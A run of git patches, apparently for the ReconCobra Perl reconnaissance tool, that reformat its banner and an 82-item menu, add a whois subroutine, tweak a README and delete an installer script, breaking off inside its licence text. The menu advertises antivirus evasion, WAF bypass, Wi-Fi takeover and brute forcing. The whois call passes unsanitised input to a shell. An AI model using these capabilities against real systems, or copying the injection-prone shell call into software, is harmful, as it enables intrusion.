color('bold cyan'),"# ";print color('reset'),item('40'),"Extract Full Possible Information via SNMP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('41'),"Extract Possible Information from Certificates";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('42'),"Find Victim HTTPS Leaked Data ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('43'),"Find Users via sitemap";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('44'),"Find Directories from robots.txt";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('45'),"Find all accounts by user";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('46'),"Find all accounts by email";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('47'),"Find all tags by account";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('48'),"DNS History";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('49'),"Passive DNS Search";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('50'),"Use Common Crawl on Target";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('51'),"Hostname to IP Resolver using Search Engines";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('52'),"Reverse NS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('53'),"Forward NS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('54'),"Win - Extract Netbios Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('55'),"Win - Contact & Extract Null Shares IPC\$";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('56'),"Win - Gather Full Information via Netbios";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('57'),"Win - Connect to Open Netbios";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('58'),"Invisible Port Scanner";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('59'),"Bypass Cloud Flare";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('60'),"DNS Cached Records";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('61'),"Bypass Content Management System Waf Firewall";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('62'),"Shared NS";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('63'),"Master Domain Subdomain Subnet Scanner";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('64'),"Domain Certificate Subdomain Enumeration";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('65'),"Find Subdomains using API Searcher ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('67'),"Endpoint Extraction ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('68'),"Check misconfigured Cross Origin Resource Sharing ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('71'),"Extract Geo-Cordinates for Tracking ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('72'),"Mirror Complete Website ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('73'),"Brute Forcer Module";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('74'),"Databases and Connections Port Scan using Mascan";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('75'),"Set Daisy Chain";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('76'),"Search PHPinfo and Database Log via Search Engines";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('77'),"Load Encrypt/Decrypt Module ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('78'),"Load Encryption Scrambling for Antivirus Evasion";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('79'),"Load Wi-Fi Takeover Module";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('80'),"Load PPTP Brute Force Module ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('81'),"Load Routers/Load Balancer Interface ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('82'),"Tracert Visual Machine Mapper ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); chomp($number=); @@ -1583,15 +1582,25 @@ sub menu { } #--------------------------------------------------------------# + #1 Website information # + #--------------------------------------------------------------# + sub Websiteinformation { + if (system("whois $info") == 0) { + print "Success!\n"; + } + else { + print "[~] Did you forget to upgrade ReconCobra? \n[~] Command failed\n"; + } + } #--------------------------------------------------------------# From 9e25cb4f4c0bcb927db16d78d1e22f058f52dbca Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sun, 22 Dec 2019 14:21:43 -0500 Subject: [PATCH 270/272] Update ReconCobra.pl --- ReconCobra.pl | 210 +++++++++++++++++++++++++------------------------- 1 file changed, 105 insertions(+), 105 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index c104d37..6455a36 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -735,128 +735,128 @@ sub banner { if ($^O =~ /MSWin32/) {system("mode con: cols=130 lines=40");system("cls"); }else { system("resize -s 40 130");system("clear"); } print color('bold green on_black'); -print" ▄████████##▄██████▄##▀█████████▄#####▄████████####▄████████#\n"; -print" ███####███#███####███###███####███###███####███###███####███#\n"; -print" ███####█▀##███####███###███####███###███####███###███####███#\n"; -print" ███########███####███##▄███▄▄▄██▀###▄███▄▄▄▄██▀###███####███#\n"; -print" ███########███####███#▀▀███▀▀▀██▄##▀▀███▀▀▀▀▀###▀███████████#\n"; -print" ███####█▄##███####███###███####██▄#▀███████████###███####███#\n"; -print" ███####███#███####███###███####███###███####███###███####███#\n"; -print" ████████▀###▀██████▀##▄█████████▀####███####███###███####█▀##\n"; -print" #####################################███####███##############\n"; +print"▄████████##▄██████▄##▀█████████▄#####▄████████####▄████████\n"; +print"███####███#███####███###███####███###███####███###███####███\n"; +print"███####█▀##███####███###███####███###███####███###███####███\n"; +print"███########███####███##▄███▄▄▄██▀###▄███▄▄▄▄██▀###███####███\n"; +print"███########███####███#▀▀███▀▀▀██▄##▀▀███▀▀▀▀▀###▀███████████\n"; +print"███####█▄##███####███###███####██▄#▀███████████###███####███\n"; +print"███####███#███####███###███####███###███####███###███####███\n"; +print"████████▀###▀██████▀##▄█████████▀####███####███###███####█▀\n"; +print"#####################################███####███############\n"; print color('reset'); -print color('bold red on_black')," Info ";print color('reset'),"";print color('bold white')," version 1.9a, [Coded By: Haroon Awan]\n"; +print color('bold red on_black'),"Info ";print color('reset'),"";print color('bold white')," version 1.9a, [Coded By: Haroon Awan]\n"; print color('reset'); -print color('bold white on_bright_red')," Mail ";print color('reset'),"";print color('bright_blue')," mrharoonawan\@gmail.com\n"; +print color('bold white on_bright_red'),"Mail ";print color('reset'),"";print color('bright_blue')," mrharoonawan\@gmail.com\n"; print color('reset'); -print color('bold red on_blue')," Homepage ";print color('reset'),"";print color('bold red')," http://www.instagram.com/\Hackeruniversee\n"; +print color('bold red on_blue'),"Homepage ";print color('reset'),"";print color('bold red')," http://www.instagram.com/\Hackeruniversee\n"; print color('reset'); -print color('bold yellow on_red')," Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; +print color('bold yellow on_red'),"Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; print color('reset'); -print color('bold green on_black')," Facebook ";print color('reset'),"";print color('bold green')," fb.com/officialharoonawan\n"; +print color('bold green on_black'),"Facebook ";print color('reset'),"";print color('bold green')," fb.com/officialharoonawan\n"; print color('reset'); -print color('bold white on_blue')," Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\hackerfromscratch\n"; +print color('bold white on_blue'),"Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\hackerfromscratch\n"; print color('reset'); -print color('bold cyan'),"\n #---------------------------------------------------------# \n"; -print color('bold cyan')," # ";print color('bold magenta')," Ultimate Reconnaissance for Information Gathering "; print color('bold cyan')," # \n"; -print color('bold cyan')," #---------------------------------------------------------# \n"; +print color('bold cyan'),"\n #---------------------------------------------------------# \n"; +print color('bold cyan')," # ";print color('bold magenta')," Ultimate Reconnaissance for Information Gathering "; print color('bold cyan')," # \n"; +print color('bold cyan')," #---------------------------------------------------------# \n"; } #--------------------------------------------------------------# # Menu # #--------------------------------------------------------------# sub menu { - print line_u(),color('bold cyan'),"# ";print color('reset'),item('1'),"Website Information";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('2'),"Domain Whois Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('3'),"Find IP Location";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('4'),"Recommended Port Scan";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('5'),"DNS Whois Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('6'),"Reverse Whois Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('7'),"DNS Zone Transfers Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('8'),"Reverse IP Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('9'),"Forward IP Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('10'),"Reverse DNS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('11'),"Forward DNS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('12'),"Shared DNS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('13'),"Technology lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('14'),"Website Recon";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('15'),"Metadata Crawler";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('16'),"Metadata Googler";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('17'),"Subdomain Scanner using Search Engines";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('18'),"Subdomain Takeover Scanner using file";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('19'),"Brute Subdomains using nmap";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('20'),"Brute DNS Subdomains";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('21'),"Find Configuration Errors on Target using google";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('22'),"Find ASN";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('23'),"Find Netblocks";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('24'),"Capture Screenshots";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('25'),"Find Nearest Servers to Victim";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('26'),"Sweep Netblocks & Resolve";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('27'),"Load DNS Hacking Suite Panthera";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('28'),"Find Emails and Names";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('29'),"Find Contact Information";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('30'),"Common Nmap Port Scan";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('31'),"Ping Hop and Firewalk";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('32'),"Find Internal Networks & Sweep";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('33'),"Decoy Scan & Generate Metasploit Data";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('34'),"Find SSL Bugs & Information";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('35'),"Extract Users via FTP";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('36'),"Extract Users via POP3";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('37'),"Extract Users via IMAP";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('38'),"Extract Users via SMTP";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('39'),"Extract Users via Form";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('40'),"Extract Full Possible Information via SNMP";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('41'),"Extract Possible Information from Certificates";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('42'),"Find Victim HTTPS Leaked Data ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('43'),"Find Users via sitemap";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('44'),"Find Directories from robots.txt";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('45'),"Find all accounts by user";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('46'),"Find all accounts by email";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('47'),"Find all tags by account";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('48'),"DNS History";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('49'),"Passive DNS Search";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('50'),"Use Common Crawl on Target";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('51'),"Hostname to IP Resolver using Search Engines";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('52'),"Reverse NS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('53'),"Forward NS Lookup";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('54'),"Win - Extract Netbios Information";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('55'),"Win - Contact & Extract Null Shares IPC\$";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('56'),"Win - Gather Full Information via Netbios";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('57'),"Win - Connect to Open Netbios";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('58'),"Invisible Port Scanner";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('59'),"Bypass Cloud Flare";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('60'),"DNS Cached Records";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('61'),"Bypass Content Management System Waf Firewall";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('62'),"Shared NS";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('63'),"Master Domain Subdomain Subnet Scanner";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('64'),"Domain Certificate Subdomain Enumeration";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('65'),"Find Subdomains using API Searcher ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('67'),"Endpoint Extraction ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('68'),"Check misconfigured Cross Origin Resource Sharing ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('71'),"Extract Geo-Cordinates for Tracking ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('72'),"Mirror Complete Website ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('73'),"Brute Forcer Module";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('74'),"Databases and Connections Port Scan using Mascan";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('75'),"Set Daisy Chain";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('76'),"Search PHPinfo and Database Log via Search Engines";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('77'),"Load Encrypt/Decrypt Module ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('78'),"Load Encryption Scrambling for Antivirus Evasion";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('79'),"Load Wi-Fi Takeover Module";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('80'),"Load PPTP Brute Force Module ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('81'),"Load Routers/Load Balancer Interface ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('82'),"Tracert Visual Machine Mapper ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item('1'),"Website Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('2'),"Domain Whois Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('3'),"Find IP Location";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('4'),"Recommended Port Scan";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('5'),"DNS Whois Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('6'),"Reverse Whois Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('7'),"DNS Zone Transfers Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('8'),"Reverse IP Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('9'),"Forward IP Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('10'),"Reverse DNS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('11'),"Forward DNS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('12'),"Shared DNS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('13'),"Technology lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('14'),"Website Recon";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('15'),"Metadata Crawler";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('16'),"Metadata Googler";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('17'),"Subdomain Scanner using Search Engines";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('18'),"Subdomain Takeover Scanner using file";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('19'),"Brute Subdomains using nmap";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('20'),"Brute DNS Subdomains";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('21'),"Find Configuration Errors on Target using google";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('22'),"Find ASN";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('23'),"Find Netblocks";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('24'),"Capture Screenshots";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('25'),"Find Nearest Servers to Victim";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('26'),"Sweep Netblocks & Resolve";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('27'),"Load DNS Hacking Suite Panthera";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('28'),"Find Emails and Names";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('29'),"Find Contact Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('30'),"Common Nmap Port Scan";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('31'),"Ping Hop and Firewalk";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('32'),"Find Internal Networks & Sweep";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('33'),"Decoy Scan & Generate Metasploit Data";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('34'),"Find SSL Bugs & Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('35'),"Extract Users via FTP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('36'),"Extract Users via POP3";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('37'),"Extract Users via IMAP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('38'),"Extract Users via SMTP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('39'),"Extract Users via Form";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('40'),"Extract Full Possible Information via SNMP";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('41'),"Extract Possible Information from Certificates";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('42'),"Find Victim HTTPS Leaked Data ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('43'),"Find Users via sitemap";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('44'),"Find Directories from robots.txt";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('45'),"Find all accounts by user";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('46'),"Find all accounts by email";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('47'),"Find all tags by account";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('48'),"DNS History";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('49'),"Passive DNS Search";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('50'),"Use Common Crawl on Target";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('51'),"Hostname to IP Resolver using Search Engines";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('52'),"Reverse NS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('53'),"Forward NS Lookup";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('54'),"Win - Extract Netbios Information";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('55'),"Win - Contact & Extract Null Shares IPC\$";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('56'),"Win - Gather Full Information via Netbios";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('57'),"Win - Connect to Open Netbios";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('58'),"Invisible Port Scanner";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('59'),"Bypass Cloud Flare";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('60'),"DNS Cached Records";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('61'),"Bypass Content Management System Waf Firewall";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('62'),"Shared NS";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('63'),"Master Domain Subdomain Subnet Scanner";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('64'),"Domain Certificate Subdomain Enumeration";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('65'),"Find Subdomains using API Searcher ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('67'),"Endpoint Extraction ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('68'),"Check misconfigured Cross Origin Resource Sharing ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('71'),"Extract Geo-Cordinates for Tracking ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('72'),"Mirror Complete Website ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('73'),"Brute Forcer Module";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('74'),"Databases and Connections Port Scan using Mascan";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('75'),"Set Daisy Chain";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('76'),"Search PHPinfo and Database Log via Search Engines";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('77'),"Load Encrypt/Decrypt Module ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('78'),"Load Encryption Scrambling for Antivirus Evasion";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('79'),"Load Wi-Fi Takeover Module";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('80'),"Load PPTP Brute Force Module ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('81'),"Load Routers/Load Balancer Interface ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('82'),"Tracert Visual Machine Mapper ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); chomp($number=); @@ -3639,16 +3639,16 @@ sub item sub line_u { return - color('bold cyan'),"#-------------------------------------------------------------------# \n", - "# # \n"; + color('bold cyan'),"#-------------------------------------------------------------# \n", + "# # \n"; } sub line_d { return - color('bold cyan'),"# # \n", - color('bold cyan'),"#-------------------------------------------------------------------# ", + color('bold cyan'),"# # \n", + color('bold cyan'),"#-------------------------------------------------------------# ", " "; } #--------------------------------------------------------------# From 68140e04add15186026496750d88a56fdb1e9715 Mon Sep 17 00:00:00 2001 From: pharaoh33homo <51335665+pharaoh33homo@users.noreply.github.com> Date: Sun, 26 Apr 2020 05:52:18 +0100 Subject: [PATCH 271/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f543138..b5d85d8 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# LICENSE +## LICENSE EULA # ReconCobra From 6ad8c654a356c941fa57bc50c8910a9e8638b8d6 Mon Sep 17 00:00:00 2001 From: pharaoh33homo <51335665+pharaoh33homo@users.noreply.github.com> Date: Sun, 26 Apr 2020 06:01:11 +0100 Subject: [PATCH 272/272] Delete BlackArch_Installer.sh --- BlackArch_Installer.sh | 185 ----------------------------------------- 1 file changed, 185 deletions(-) delete mode 100644 BlackArch_Installer.sh diff --git a/BlackArch_Installer.sh b/BlackArch_Installer.sh deleted file mode 100644 index 08f38b1..0000000 --- a/BlackArch_Installer.sh +++ /dev/null @@ -1,185 +0,0 @@ -# *************************************************************************************** # -# ---------------------------------- EULA NOTICE ---------------------------------------- # -# Agreement between "Haroon Awan" and "You"(user). # -# ---------------------------------- EULA NOTICE ---------------------------------------- # -# 1. By using this piece of software your bound to these point. # -# 2. This an End User License Agreement (EULA) is a legal between a software application # -# author "Haroon Awan" and (YOU) user of this software. # -# 3. This software application grants users rights to use for any purpose or modify and # -# redistribute creative works. # -# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # -# what you do with by/this software as your free to use this software. # -# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # -# crime or using it in un-authorized environment. # -# 6. You can use this software to protect and secure your data information in any # -# environment. # -# 7. It can also be used in state of being protection against the 